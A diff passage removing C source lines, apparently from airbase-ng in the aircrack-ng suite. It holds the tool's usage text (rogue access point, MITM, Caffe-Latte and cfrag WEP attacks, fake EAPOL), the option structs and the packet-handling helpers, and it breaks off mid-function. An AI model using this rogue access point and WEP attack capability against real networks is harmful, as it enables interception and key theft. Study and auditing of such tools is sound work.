-	"\x30\x14\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x01\x01\x00"         \
-	"\x00\x0f\xac\x02\x01\x00"
-
-#define ALL_WPA2_TAGS                                                          \
-	"\x30\x28\x01\x00\x00\x0f\xac\x01\x05\x00\x00\x0f\xac\x01\x00\x0f"         \
-	"\xac\x02\x00\x0f\xac\x03\x00\x0f\xac\x04\x00\x0f\xac\x05\x02\x00"         \
-	"\x00\x0f\xac\x01\x00\x0f\xac\x02\x03\x00"
-
-#define ALL_WPA1_TAGS                                                          \
-	"\xdd\x2A\x00\x50\xf2\x01\x01\x00\x00\x50\xf2\x02\x05\x00\x00\x50"         \
-	"\xf2\x01\x00\x50\xf2\x02\x00\x50\xf2\x03\x00\x50\xf2\x04\x00\x50"         \
-	"\xf2\x05\x02\x00\x00\x50\xf2\x01\x00\x50\xf2\x02"
-
-char usage[]
-	= "\n"
-	  "  %s - (C) 2008-2018 Thomas d'Otreppe\n"
-	  "  Original work: Martin Beck\n"
-	  "  https://www.aircrack-ng.org\n"
-	  "\n"
-	  "  usage: airbase-ng <options> <replay interface>\n"
-	  "\n"
-	  "  Options:\n"
-	  "\n"
-	  "      -a bssid         : set Access Point MAC address\n"
-	  "      -i iface         : capture packets from this interface\n"
-	  // "      -y file          : read PRGA from this file\n"
-	  "      -w WEP key       : use this WEP key to en-/decrypt packets\n"
-	  // "      -t tods          : send frames to AP (1) or to client (0)\n"
-	  // "      -r file          : read frames out of pcap file\n"
-	  "      -h MAC           : source mac for MITM mode\n"
-	  "      -f disallow      : disallow specified client MACs (default: "
-	  "allow)\n"
-	  "      -W 0|1           : [don't] set WEP flag in beacons 0|1 (default: "
-	  "auto)\n"
-	  "      -q               : quiet (do not print statistics)\n"
-	  "      -v               : verbose (print more messages)\n"
-	  //"      -M               : M-I-T-M between [specified] clients and
-	  // bssids\n"
-	  "      -A               : Ad-Hoc Mode (allows other clients to peer)\n"
-	  "      -Y in|out|both   : external packet processing\n"
-	  "      -c channel       : sets the channel the AP is running on\n"
-	  "      -X               : hidden ESSID\n"
-	  "      -s               : force shared key authentication (default: "
-	  "auto)\n"
-	  "      -S               : set shared key challenge length (default: "
-	  "128)\n"
-	  "      -L               : Caffe-Latte WEP attack (use if driver can't "
-	  "send "
-	  "frags)\n"
-	  "      -N               : cfrag WEP attack (recommended)\n"
-	  "      -x nbpps         : number of packets per second (default: 100)\n"
-	  "      -y               : disables responses to broadcast probes\n"
-	  "      -0               : set all WPA,WEP,open tags. can't be used with "
-	  "-z "
-	  "& -Z\n"
-	  "      -z type          : sets WPA1 tags. 1=WEP40 2=TKIP 3=WRAP 4=CCMP "
-	  "5=WEP104\n"
-	  "      -Z type          : same as -z, but for WPA2\n"
-	  "      -V type          : fake EAPOL 1=MD5 2=SHA1 3=auto\n"
-	  "      -F prefix        : write all sent and received frames into pcap "
-	  "file\n"
-	  "      -P               : respond to all probes, even when specifying "
-	  "ESSIDs\n"
-	  "      -I interval      : sets the beacon interval value in ms\n"
-	  "      -C seconds       : enables beaconing of probed ESSID values "
-	  "(requires -P)\n"
-	  "      -n hex           : User specified ANonce when doing the 4-way "
-	  "handshake\n"
-	  "\n"
-	  "  Filter options:\n"
-	  "      --bssid MAC      : BSSID to filter/use\n"
-	  "      --bssids file    : read a list of BSSIDs out of that file\n"
-	  "      --client MAC     : MAC of client to filter\n"
-	  "      --clients file   : read a list of MACs out of that file\n"
-	  "      --essid ESSID    : specify a single ESSID (default: default)\n"
-	  "      --essids file    : read a list of ESSIDs out of that file\n"
-	  "\n"
-	  "      --help           : Displays this usage screen\n"
-	  "\n";
-
-struct options
-{
-	struct ST_info *st_1st, *st_end;
-
-	unsigned char r_bssid[6];
-	unsigned char r_dmac[6];
-	unsigned char r_smac[6];
-
-	unsigned char f_bssid[6];
-	unsigned char f_netmask[6];
-
-	char * s_face;
-	char * s_file;
-	unsigned char * prga;
-
-	char * dump_prefix;
-	char * keyout;
-	char * f_cap_name;
-	char * prefix;
-
-	int f_index; /* outfiles index       */
-	FILE * f_cap; /* output cap file      */
-	FILE * f_xor; /* output prga file     */
-	unsigned char sharedkey[3][4096]; /* array for 3 packets with a size of \
-							   up to 4096Byte */
-	time_t sk_start;
-	int sk_len;
-	int sk_len2;
-
-	int r_nbpps;
-	int prgalen;
-	int tods;
-
-	unsigned char wepkey[64];
-	int weplen, crypt;
-
-	int f_essid;
-	int promiscuous;
-	int beacon_cache;
-	int channel;
-	int setWEP;
-	int quiet;
-	int mitm;
-	int external;
-	int hidden;
-	int interval;
-	int forceska;
-	int skalen;
-	int filter;
-	int caffelatte;
-	int ringbuffer;
-	int adhoc;
-	int nb_arp;
-	int verbose;
-	int wpa1type;
-	int wpa2type;
-	int nobroadprobe;
-	int sendeapol;
-	int allwpa;
-	int cf_count;
-	int cf_attack;
-	int record_data;
-
-	int ti_mtu; // MTU of tun/tap interface
-	int wif_mtu; // MTU of wireless interface
-
-	// Fixed nonce
-	int use_fixed_nonce;
-	unsigned char fixed_nonce[32];
-} opt;
-
-struct devices
-{
-	int fd_in, arptype_in;
-	int fd_out, arptype_out;
-	int fd_rtc;
-	struct tif * dv_ti;
-	struct tif * dv_ti2;
-
-	int is_wlanng;
-	int is_hostap;
-	int is_madwifi;
-	int is_madwifing;
-	int is_bcm43xx;
-
-	FILE * f_cap_in;
-
-	struct pcap_file_header pfh_in;
-} dev;
-
-struct ARP_req
-{
-	unsigned char * buf;
-	int len;
-};
-
-struct AP_conf
-{
-	unsigned char bssid[6];
-	char * essid;
-	int essid_len;
-	unsigned short interval;
-	unsigned char capa[2];
-};
-
-typedef struct ESSID_list * pESSID_t;
-struct ESSID_list
-{
-	char * essid;
-	unsigned char len;
-	pESSID_t next;
-	time_t expire;
-};
-
-typedef struct MAC_list * pMAC_t;
-struct MAC_list
-{
-	unsigned char mac[6];
-	pMAC_t next;
-};
-
-typedef struct Fragment_list * pFrag_t;
-struct Fragment_list
-{
-	unsigned char source[6];
-	unsigned short sequence;
-	unsigned char * fragment[16];
-	short fragmentlen[16];
-	char fragnum;
-	unsigned char * header;
-	short headerlen;
-	struct timeval access;
-	char wep;
-	pFrag_t next;
-};
-
-/* linked list of detected clients */
-
-struct ST_info
-{
-	struct ST_info * prev; /* the prev client in list   */
-	struct ST_info * next; /* the next client in list   */
-	struct AP_info * base; /* AP this client belongs to */
-	time_t tinit, tlast; /* first and last time seen  */
-	unsigned long nb_pkt; /* total number of packets   */
-	unsigned char stmac[6]; /* the client's MAC address  */
-	char essid[256]; /* last associated essid     */
-	int essid_length; /* essid length of last asso */
-	int probe_index; /* probed ESSIDs ring index  */
-	char probes[NB_PRB][256]; /* probed ESSIDs ring buffer */
-	int ssid_length[NB_PRB]; /* ssid lengths ring buffer  */
-	int power; /* last signal power         */
-	int rate_to; /* last bitrate to station   */
-	int rate_from; /* last bitrate from station */
-	struct timeval ftimer; /* time of restart           */
-	int missed; /* number of missed packets  */
-	unsigned int lastseq; /* last seen sequnce number  */
-	struct WPA_hdsk wpa; /* WPA handshake data        */
-	int wpatype; /* 1=wpa1 2=wpa2             */
-	int wpahash; /* 1=md5(tkip) 2=sha1(ccmp)  */
-	int wep; /* capability encryption bit */
-};
-
-typedef struct CF_packet * pCF_t;
-struct CF_packet
-{
-	unsigned char frags[3][128]; /* first fragments to fill a gap */
-	unsigned char final[4096]; /* final frame derived from orig */
-	int fraglen[3]; /* fragmentation frame lengths   */
-	int finallen; /* length of frame in final[]    */
-	int xmitcount; /* how often was this frame sent */
-	unsigned char fragnum; /* number of fragments to send   */
-	pCF_t next; /* next set of fragments to send */
-};
-
-pthread_mutex_t mx_cf; /* lock write access to rCF */
-pthread_mutex_t mx_cap; /* lock write access to rCF */
-
-unsigned long nb_pkt_sent;
-unsigned char h80211[4096];
-unsigned char tmpbuf[4096];
-unsigned char srcbuf[4096];
-char strbuf[512];
-
-int ctrl_c, alarmed, invalid_channel_displayed;
-
-char * iwpriv;
-
-struct ARP_req * arp;
-
-pthread_t beaconpid;
-pthread_t caffelattepid;
-pthread_t cfragpid;
-
-pESSID_t rESSID;
-pthread_mutex_t rESSIDmutex;
-pMAC_t rBSSID;
-pMAC_t rClient;
-pFrag_t rFragment;
-pCF_t rCF;
-
-// Threads
-static void beacon_thread(void * arg);
-static void caffelatte_thread(void);
-static void cfrag_thread(void);
-
-static int addESSID(char * essid, int len, int expiration)
-{
-	pESSID_t tmp;
-	pESSID_t cur;
-	time_t now;
-	if (essid == NULL) return -1;
-
-	if (len <= 0 || len > 255) return -1;
-
-	pthread_mutex_lock(&rESSIDmutex);
-	cur = rESSID;
-
-	if (rESSID == NULL)
-	{
-		pthread_mutex_unlock(&rESSIDmutex);
-		return -1;
-	}
-
-	while (cur->next != NULL)
-	{
-		// if it already exists, just update the expiration time
-		if (cur->len == len && !memcmp(cur->essid, essid, len))
-		{
-			if (cur->expire && expiration)
-			{
-				time(&now);
-				cur->expire = now + expiration;
-			}
-			pthread_mutex_unlock(&rESSIDmutex);
-			return 0;
-		}
-		cur = cur->next;
-	}
-
-	// alloc mem
-	tmp = (pESSID_t) malloc(sizeof(struct ESSID_list));
-
-	// set essid
-	tmp->essid = (char *) malloc(len + 1);
-	memcpy(tmp->essid, essid, len);
-	tmp->essid[len] = 0x00;
-	tmp->len = len;
-
-	// set expiration date
-	if (expiration)
-	{
-		time(&now);
-		tmp->expire = now + expiration;
-	}
-	else
-	{
-		tmp->expire = 0;
-	}
-
-	tmp->next = NULL;
-	cur->next = tmp;
-
-	pthread_mutex_unlock(&rESSIDmutex);
-	return 0;
-}
-
-static int capture_packet(unsigned char * packet, int length)
-{
-	struct pcap_pkthdr pkh;
-	struct timeval tv;
-	int n;
-#if defined(__sun__)
-	struct flock fl;
-	fl.l_start = 0;
-	fl.l_len = 0;
-	fl.l_whence = SEEK_SET;
-#endif
-
-	if (opt.f_cap != NULL && length >= 10)
-	{
-		pkh.caplen = pkh.len = length;
-
-		gettimeofday(&tv, NULL);
-
-		pkh.tv_sec = tv.tv_sec;
-		pkh.tv_usec = tv.tv_usec;
-
-		n = sizeof(pkh);
-
-#if defined(__sun__)
-		fl.l_type = F_WRLCK;
-		fcntl(fileno(opt.f_cap), F_SETLKW, &fl);
-#else
-		flock(fileno(opt.f_cap), LOCK_EX);
-#endif
-		if (fwrite(&pkh, 1, n, opt.f_cap) != (size_t) n)
-		{
-			perror("fwrite(packet header) failed");
-#if defined(__sun__)
-			fl.l_type = F_UNLCK;
-			fcntl(fileno(opt.f_cap), F_GETLK, &fl);
-#else
-			flock(fileno(opt.f_cap), LOCK_UN);
-#endif
-			return (1);
-		}
-
-		fflush(stdout);
-
-		n = pkh.caplen;
-
-		if (fwrite(packet, 1, n, opt.f_cap) != (size_t) n)
-		{
-			perror("fwrite(packet data) failed");
-#if defined(__sun__)
-			fl.l_type = F_UNLCK;
-			fcntl(fileno(opt.f_cap), F_GETLK, &fl);
-#else
-			flock(fileno(opt.f_cap), LOCK_UN);
-#endif
-			return (1);
-		}
-
-		fflush(stdout);
-
-		fflush(opt.f_cap);
-#if defined(__sun__)
-		fl.l_type = F_UNLCK;
-		fcntl(fileno(opt.f_cap), F_GETLK, &fl);
-#else
-		flock(fileno(opt.f_cap), LOCK_UN);
-#endif
-	}
-	return 0;
-}
-
-static int dump_initialize(char * prefix)
-{
-	const size_t ADDED_LENGTH = 7;
-	FILE * f;
-	char * ofn;
-	size_t ofn_len;
-	struct pcap_file_header pfh;
-
-	if (prefix == NULL)
-	{
-		return (0);
-	}
-
-	ofn_len = strlen(prefix) + ADDED_LENGTH + 1;
-	ofn = (char *) calloc(1, ofn_len);
-
-	/* Get the index for the filename so we don't overwrite an existing file */
-	opt.f_index = 1;
-
-	do
-	{
-		snprintf(ofn, ofn_len, "%s-%02d.%s", prefix, opt.f_index, "cap");
-
-		if ((f = fopen(ofn, "rb+")) != NULL)
-		{
-			fclose(f);
-			opt.f_index++;
-			continue;
-		}
-		break;
-	} while (1);
-
-	opt.prefix = (char *) calloc(1, strlen(prefix) + 1);
-	memcpy(opt.prefix, prefix, strlen(prefix));
-
-	/* create the output packet capture file */
-
-	snprintf(ofn, ofn_len, "%s-%02d.cap", prefix, opt.f_index);
-
-	if ((opt.f_cap = fopen(ofn, "wb+")) == NULL)
-	{
-		perror("fopen failed");
-		fprintf(stderr, "Could not create \"%s\".\n", ofn);
-		free(ofn);
-		return (1);
-	}
-
-	opt.f_cap_name = ofn;
-
-	pfh.magic = TCPDUMP_MAGIC;
-	pfh.version_major = PCAP_VERSION_MAJOR;
-	pfh.version_minor = PCAP_VERSION_MINOR;
-	pfh.thiszone = 0;
-	pfh.sigfigs = 0;
-	pfh.snaplen = 65535;
-	pfh.linktype = LINKTYPE_IEEE802_11;
-
-	if (fwrite(&pfh, 1, sizeof(pfh), opt.f_cap) != (size_t) sizeof(pfh))
-	{
-		perror("fwrite(pcap file header) failed");
-		return (1);
-	}
-
-	if (!opt.quiet)
-	{
-		PCT;
-		printf("Created capture file \"%s\".\n", ofn);
-	}
-
-	return (0);
-}
-
-static int addFrag(unsigned char * packet, unsigned char * smac, int len)
-{
-	pFrag_t cur = rFragment;
-	int seq, frag, wep, z, i;
-	unsigned char frame[4096];
-	unsigned char K[128];
-
-	if (packet == NULL) return -1;
-
-	if (smac == NULL) return -1;
-
-	if (len <= 32 || len > 2000) return -1;
-
-	if (rFragment == NULL) return -1;
-
-	memset(frame, 0, 4096);
-	memcpy(frame, packet, len);
-
-	z = ((frame[1] & 3) != 3) ? 24 : 30;
-	frag = frame[22] & 0x0F;
-	seq = (frame[22] >> 4) | (frame[23] << 4);
-	wep = (frame[1] & 0x40) >> 6;
-
-	if (frag < 0 || frag > 15) return -1;
-
-	if (wep && opt.crypt != CRYPT_WEP) return -1;
-
-	if (wep)
-	{
-		// decrypt it
-		memcpy(K, frame + z, 3);
-		memcpy(K + 3, opt.wepkey, opt.weplen);
-
-		if (decrypt_wep(frame + z + 4, len - z - 4, K, 3 + opt.weplen) == 0
-			&& (len - z - 4 > 8))
-		{
-			printf("error decrypting... len: %d\n", len - z - 4);
-			return -1;
-		}
-
-		/* WEP data packet was successfully decrypted, *
-		* remove the WEP IV & ICV and write the data  */
-
-		len -= 8;
-
-		memcpy(frame + z, frame + z + 4, len - z);
-
-		frame[1] &= 0xBF;
-	}
-
-	while (cur->next != NULL)
-	{
-		cur = cur->next;
-		if ((memcmp(smac, cur->source, 6) == 0) && (seq == cur->sequence)
-			&& (wep == cur->wep))
-		{
-			// entry already exists, update
-			//             printf("got seq %d, added fragment %d \n", seq,
-			//             frag);
-			if (cur->fragment[frag] != NULL) return 0;
-
-			if ((frame[1] & 0x04) == 0)
-			{
-				//                 printf("max fragnum is %d\n", frag);
-				cur->fragnum = frag; // no higher frag number possible
-			}
-			cur->fragment[frag] = (unsigned char *) malloc(len - z);
-			memcpy(cur->fragment[frag], frame + z, len - z);
-			cur->fragmentlen[frag] = len - z;
-			gettimeofday(&cur->access, NULL);
-
-			return 0;
-		}
-	}
-
-	//     printf("new seq %d, added fragment %d \n", seq, frag);
-	// new entry, first fragment received
-	// alloc mem
-	cur->next = (pFrag_t) malloc(sizeof(struct Fragment_list));
-	cur = cur->next;
-
-	for (i = 0; i < 16; i++)
-	{
-		cur->fragment[i] = NULL;
-		cur->fragmentlen[i] = 0;
-	}
-
-	if ((frame[1] & 0x04) == 0)
-	{
-		//         printf("max fragnum is %d\n", frag);
-		cur->fragnum = frag; // no higher frag number possible
-	}
-	else
-	{
-		cur->fragnum = 0;
-	}
-
-	// remove retry & more fragments flag
-	frame[1] &= 0xF3;
-	// set frag number to 0
-	frame[22] &= 0xF0;
-	memcpy(cur->source, smac, 6);
-	cur->sequence = seq;
-	cur->header = (unsigned char *) malloc(z);
-	memcpy(cur->header, frame, z);
-	cur->headerlen = z;
-	cur->fragment[frag] = (unsigned char *) malloc(len - z);
-	memcpy(cur->fragment[frag], frame + z, len - z);
-	cur->fragmentlen[frag] = len - z;
-	cur->wep = wep;
-	gettimeofday(&cur->access, NULL);
-
-	cur->next = NULL;
-
-	return 0;
-}
-
-static int timeoutFrag(void)
-{
-	pFrag_t old, cur = rFragment;
-	struct timeval tv;
-	int64_t timediff;
-	int i;
-
-	if (rFragment == NULL) return -1;
-
-	gettimeofday(&tv, NULL);
-
-	while (cur->next != NULL)
-	{
-		old = cur->next;
-		timediff = (tv.tv_sec - old->access.tv_sec) * 1000000UL
-				   + (tv.tv_usec - old->access.tv_usec);
-		if (timediff > FRAG_TIMEOUT)
-		{
-			// remove captured fragments
-			if (old->header != NULL) free(old->header);
-			for (i = 0; i < 16; i++)
-				if (old->fragment[i] != NULL) free(old->fragment[i]);
-
-			cur->next = old->next;
-			free(old);
-		}
-		cur = cur->next;
-	}
-	return 0;
-}
-
-static int delFrag(unsigned char * smac, int sequence)
-{
-	pFrag_t old, cur = rFragment;
-	int i;
-
-	if (rFragment == NULL) return -1;
-
-	if (smac == NULL) return -1;
-
-	if (sequence < 0) return -1;
-
-	while (cur->next != NULL)
-	{
-		old = cur->next;
-		if (memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
-		{
-			// remove captured fragments
-			if (old->header != NULL) free(old->header);
-			for (i = 0; i < 16; i++)
-				if (old->fragment[i] != NULL) free(old->fragment[i]);
-
-			cur->next = old->next;
-			free(old);
-			return 0;
-		}
-		cur = cur->next;
-	}
-	return 0;
-}
-
-static unsigned char *
-getCompleteFrag(unsigned char * smac, int sequence, int * packetlen)
-{
-	pFrag_t old, cur = rFragment;
-	int i, len = 0;
-	unsigned char * packet = NULL;
-	unsigned char K[128];
-
-	if (rFragment == NULL) return NULL;
-
-	if (smac == NULL) return NULL;
-
-	while (cur->next != NULL)
-	{
-		old = cur->next;
-		if (memcmp(smac, old->source, 6) == 0 && old->sequence == sequence)
-		{
-			// check if all frags available
-			if (old->fragnum == 0) return NULL;
-			for (i = 0; i <= old->fragnum; i++)
-			{
-				if (old->fragment[i] == NULL) return NULL;
-				len += old->fragmentlen[i];
-			}
-
-			if (len > 2000) return NULL;
-
-			//             printf("got a complete frame -> build it\n");
-
-			if (old->wep)
-			{
-				if (opt.crypt == CRYPT_WEP)
-				{
-					packet = (unsigned char *) malloc(len + old->headerlen + 8);
-					K[0] = rand() & 0xFF;
-					K[1] = rand() & 0xFF;
-					K[2] = rand() & 0xFF;
-					K[3] = 0x00;
-
-					memcpy(packet, old->header, old->headerlen);
-					len = old->headerlen;
-					memcpy(packet + len, K, 4);
-					len += 4;
-					for (i = 0; i <= old->fragnum; i++)
-					{
-						memcpy(packet + len,
-							   old->fragment[i],
-							   old->fragmentlen[i]);
-						len += old->fragmentlen[i];
-					}
-
-					/* write crc32 value behind data */
-					if (add_crc32(packet + old->headerlen + 4,
-								  len - old->headerlen - 4)
-						!= 0)
-						return NULL;
-
-					len += 4; // icv
-
-					memcpy(K + 3, opt.wepkey, opt.weplen);
-
-					encrypt_wep(packet + old->headerlen + 4,
-								len - old->headerlen - 4,
-								K,
-								opt.weplen + 3);
-
-					packet[1] = packet[1] | 0x40;
-
-					// delete captured fragments
-					delFrag(smac, sequence);
-					*packetlen = len;
-					return packet;
-				}
-				else
-					return NULL;
-			}
-			else
-			{
-				packet = (unsigned char *) malloc(len + old->headerlen);
-				memcpy(packet, old->header, old->headerlen);
-				len = old->headerlen;
-				for (i = 0; i <= old->fragnum; i++)
-				{
-					memcpy(packet + len, old->fragment[i], old->fragmentlen[i]);
-					len += old->fragmentlen[i];
-				}
-				// delete captured fragments
-				delFrag(smac, sequence);
-				*packetlen = len;
-				return packet;
-			}
-		}
-		cur = cur->next;
-	}
-	return packet;
-}
-
-static int addMAC(pMAC_t pMAC, unsigned char * mac)
-{
-	pMAC_t cur = pMAC;
-
-	if (mac == NULL) return -1;
-
-	if (pMAC == NULL) return -1;
-
-	while (cur->next != NULL) cur = cur->next;
-
-	// alloc mem
-	cur->next = (pMAC_t) malloc(sizeof(struct MAC_list));
-	cur = cur->next;
-
-	// set mac
-	memcpy(cur->mac, mac, 6);
-
-	cur->next = NULL;
-
-	return 0;
-}
-
-static void flushESSID(void)
-{
-	pESSID_t old;
-	pESSID_t cur;
-	time_t now;
-
-	pthread_mutex_lock(&rESSIDmutex);
-	cur = rESSID;
-
-	if (rESSID == NULL)
-	{
-		pthread_mutex_unlock(&rESSIDmutex);
-		return;
-	}
-
-	while (cur->next != NULL)
-	{
-		old = cur->next;
-		if (old->expire)
-		{
-			time(&now);
-			if (now > old->expire)
-			{
-				// got it
-				cur->next = old->next;
-
-				free(old->essid);
-				old->essid = NULL;
-				old->next = NULL;
-				old->len = 0;
-				free(old);
-				pthread_mutex_unlock(&rESSIDmutex);
-				return;
-			}
-		}
-		cur = cur->next;
-	}
-	pthread_mutex_unlock(&rESSIDmutex);
-}
-
-static int gotESSID(char * essid, int len)
-{
-	pESSID_t old, cur;
-
-	if (essid == NULL) return -1;
-
-	if (len <= 0 || len > 255) return -1;
-
-	pthread_mutex_lock(&rESSIDmutex);
-	cur = rESSID;
-
-	if (rESSID == NULL)
-	{
-		pthread_mutex_unlock(&rESSIDmutex);
-		return -1;
-	}
-
-	while (cur->next != NULL)
-	{
-		old = cur->next;
-		if (old->len == len)
-		{
-			if (memcmp(old->essid, essid, len) == 0)
-			{
-				pthread_mutex_unlock(&rESSIDmutex);
-				return 1;
-			}
-		}
-		cur = cur->next;
-	}
-
-	pthread_mutex_unlock(&rESSIDmutex);
-	return 0;
-}
-
-static int gotMAC(pMAC_t pMAC, unsigned char * mac)
-{
-	pMAC_t cur = pMAC;
-
-	if (mac == NULL) return -1;
-
-	if (pMAC == NULL) return -1;
-
-	while (cur->next != NULL)
-	{
-		cur = cur->next;
-		if (memcmp(cur->mac, mac, 6) == 0)
-		{
-			// got it
-			return 1;
-		}
-	}
-
-	return 0;
-}
-
-static int getESSID(char * essid)
-{
-	int len;
-	pthread_mutex_lock(&rESSIDmutex);
-
-	if (rESSID == NULL || rESSID->next == NULL)
-	{
-		pthread_mutex_unlock(&rESSIDmutex);
-		return 0;
-	}
-
-	memcpy(essid, rESSID->next->essid, rESSID->next->len + 1);
-	len = rESSID->next->len;
-	pthread_mutex_unlock(&rESSIDmutex);
-
-	return len;
-}
-
-static int getNextESSID(char * essid)
-{
-	int len;
-	pESSID_t cur;
-
-	pthread_mutex_lock(&rESSIDmutex);
-
-	if (rESSID == NULL || rESSID->next == NULL)
-	{
-		pthread_mutex_unlock(&rESSIDmutex);
-		return 0;
-	}
-
-	len = strlen(essid);
-	for (cur = rESSID->next; cur != NULL; cur = cur->next)
-	{
-		if (*essid == 0)
-		{
-			break;
-		}
-		// Check if current SSID.
-		if (cur->len == len && cur->essid != NULL
-			&& strcmp(essid, cur->essid) == 0)
-		{
-			// SSID found, get next one
-			cur = cur->next;
-			if (cur == NULL)
-			{
-				cur = rESSID->next;
-			}
-			break;
-		}
-	}
-	len = 0;
-
-	if (cur != NULL)
-	{
-		memcpy(essid, cur->essid, cur->len + 1);
-		len = cur->len;
-	}
-	pthread_mutex_unlock(&rESSIDmutex);
-
-	return len;
-}
-
-static int getESSIDcount(void)
-{
-	pESSID_t cur;
-	int count = 0;
-
-	pthread_mutex_lock(&rESSIDmutex);
-	cur = rESSID;
-
-	if (rESSID == NULL)
-	{
-		pthread_mutex_unlock(&rESSIDmutex);
-		return -1;
-	}
-
-	while (cur->next != NULL)
-	{
-		cur = cur->next;
-		count++;
-	}
-
-	pthread_mutex_unlock(&rESSIDmutex);
-	return count;
-}
-
-static int getMACcount(pMAC_t pMAC)
-{
-	pMAC_t cur = pMAC;
-	int count = 0;
-
-	if (pMAC == NULL) return -1;
-
-	while (cur->next != NULL)
-	{
-		cur = cur->next;
-		count++;
-	}
-
-	return count;
-}
-
-static int addESSIDfile(char * filename)
-{
-	FILE * list;
-	char essid[256];
-	int x;
-
-	list = fopen(filename, "r");
-	if (list == NULL)
-	{
-		perror("Unable to open ESSID list");
-		return -1;
-	}
-
-	while (fgets(essid, 256, list) != NULL)
-	{
-		// trim trailing whitespace
-		x = strlen(essid) - 1;
-		while (x >= 0 && isspace((int) essid[x])) essid[x--] = 0;
-
-		if (strlen(essid)) addESSID(essid, strlen(essid), 0);
-	}
-
-	fclose(list);
-
-	return 0;
-}
-
-static int addMACfile(pMAC_t pMAC, char * filename)
-{
-	FILE * list;
-	unsigned char mac[6];
-	char buffer[256];
-
-	list = fopen(filename, "r");
-	if (list == NULL)
-	{
-		perror("Unable to open MAC list");
-		return -1;
-	}
-
-	while (fgets(buffer, 256, list) != NULL)
-	{
-		if (getmac(buffer, 1, mac) == 0) addMAC(pMAC, mac);
-	}
-
-	fclose(list);
-
-	return 0;
-}
-
-static int send_packet(void * buf, size_t count)
-{
-	struct wif * wi = _wi_out; /* XXX globals suck */
-	if (wi_write(wi, buf, count, NULL) == -1)
-	{
-		perror("wi_write()");
-		return -1;
-	}
-
-	pthread_mutex_lock(&mx_cap);
-	if (opt.record_data) capture_packet(buf, count);
-	pthread_mutex_unlock(&mx_cap);
-
-	nb_pkt_sent++;
-	return 0;
-}
-
-static int read_packet(void * buf, size_t count)
-{
-	struct wif * wi = _wi_in; /* XXX */
-	int rc;
-
-	rc = wi_read(wi, buf, count, NULL);
-	if (rc == -1)
-	{
-		perror("wi_read()");
-		return -1;
-	}
-
-	return rc;
-}
-
-static int msleep(int msec)
-{
-	struct timeval tv, tv2;
-	float f, ticks;
-	int n;
-
-	if (msec == 0) msec = 1;
-
-	ticks = 0;
-
-	while (1)
-	{
-		/* wait for the next timer interrupt, or sleep */
-
-		if (dev.fd_rtc >= 0)
-		{
-			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
-			{
-				perror("read(/dev/rtc) failed");
-				return (1);
-			}
-
-			ticks++;
-		}
-		else
-		{
-			/* we can't trust usleep, since it depends on the HZ */
-
-			gettimeofday(&tv, NULL);
-			usleep(1024);
-			gettimeofday(&tv2, NULL);
-
-			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
-				+ (float) (tv2.tv_usec - tv.tv_usec);
-
-			ticks += f / 1024;
-		}
-
-		if ((ticks / 1024 * 1000) < msec) continue;
-
-		/* threshold reached */
-		break;
-	}
-
-	return 0;
-}
-
-static int check_shared_key(unsigned char * h80211, int caplen)
-{
-	int m_bmac, m_smac, m_dmac, n, textlen;
-	char ofn[1024];
-	unsigned char text[4096];
-	unsigned char prga[4096];
-	unsigned int long crc;
-
-	if ((unsigned) caplen > sizeof(opt.sharedkey[0])) return 1;
-
-	m_bmac = 16;
-	m_smac = 10;
-	m_dmac = 4;
-
-	if (time(NULL) - opt.sk_start > 5)
-	{
-		/* timeout(5sec) - remove all packets, restart timer */
-		memset(opt.sharedkey, '\x00', 4096 * 3);
-		opt.sk_start = time(NULL);
-	}
-
-	/* is auth packet */
-	if ((h80211[1] & 0x40) != 0x40)
-	{
-		/* not encrypted */
-		if ((h80211[24] + (h80211[25] << 8)) == 1)
-		{
-			/* Shared-Key Authentication */
-			if ((h80211[26] + (h80211[27] << 8)) == 2)
-			{
-				/* sequence == 2 */
-				memcpy(opt.sharedkey[0], h80211, caplen);
-				opt.sk_len = caplen - 24;
-			}
-			if ((h80211[26] + (h80211[27] << 8)) == 4)
-			{
-				/* sequence == 4 */
-				memcpy(opt.sharedkey[2], h80211, caplen);
-			}
-		}
-		else
-			return 1;
-	}
-	else
-	{
-		/* encrypted */
-		memcpy(opt.sharedkey[1], h80211, caplen);
-		opt.sk_len2 = caplen - 24 - 4;
-	}
-
-	/* check if the 3 packets form a proper authentication */
-
-	if ((memcmp(opt.sharedkey[0] + m_bmac, NULL_MAC, 6) == 0)
-		|| (memcmp(opt.sharedkey[1] + m_bmac, NULL_MAC, 6) == 0)
-		|| (memcmp(opt.sharedkey[2] + m_bmac, NULL_MAC, 6)
-			== 0)) /* some bssids == zero */
-	{
-		return 1;
-	}
-
-	if ((memcmp(opt.sharedkey[0] + m_bmac, opt.sharedkey[1] + m_bmac, 6) != 0)
-		|| (memcmp(opt.sharedkey[0] + m_bmac, opt.sharedkey[2] + m_bmac, 6)
-			!= 0)) /* all bssids aren't equal */
-	{
-		return 1;
-	}
-
-	if ((memcmp(opt.sharedkey[0] + m_smac, opt.sharedkey[2] + m_smac, 6) != 0)
-		|| (memcmp(opt.sharedkey[0] + m_smac, opt.sharedkey[1] + m_dmac, 6)
-			!= 0)) /* SA in 2&4 != DA in 3 */
-	{
-		return 1;
-	}
-
-	if ((memcmp(opt.sharedkey[0] + m_dmac, opt.sharedkey[2] + m_dmac, 6) != 0)
-		|| (memcmp(opt.sharedkey[0] + m_dmac, opt.sharedkey[1] + m_smac, 6)
-			!= 0)) /* DA in 2&4 != SA in 3 */
-	{
-		return 1;
-	}
-
-	textlen = opt.sk_len;
-
-	if (textlen + 4 != opt.sk_len2)
-	{
-		if (!opt.quiet)
-		{
-			PCT;
-			printf("Broken SKA: %02X:%02X:%02X:%02X:%02X:%02X (expected: %d, "
-				   "got %d bytes)\n",
-				   *(opt.sharedkey[0] + m_dmac),
-				   *(opt.sharedkey[0] + m_dmac + 1),
-				   *(opt.sharedkey[0] + m_dmac + 2),
-				   *(opt.sharedkey[0] + m_dmac + 3),
-				   *(opt.sharedkey[0] + m_dmac + 4),
-				   *(opt.sharedkey[0] + m_dmac + 5),
-				   textlen + 4,
-				   opt.sk_len2);
-		}
-		return 1;
-	}
-
-	if ((unsigned) textlen > sizeof(text) - 4) return 1;
-
-	memcpy(text, opt.sharedkey[0] + 24, textlen);
-
-	/* increment sequence number from 2 to 3 */
-	text[2] = text[2] + 1;
-
-	crc = 0xFFFFFFFF;
-
-	for (n = 0; n < textlen; n++)
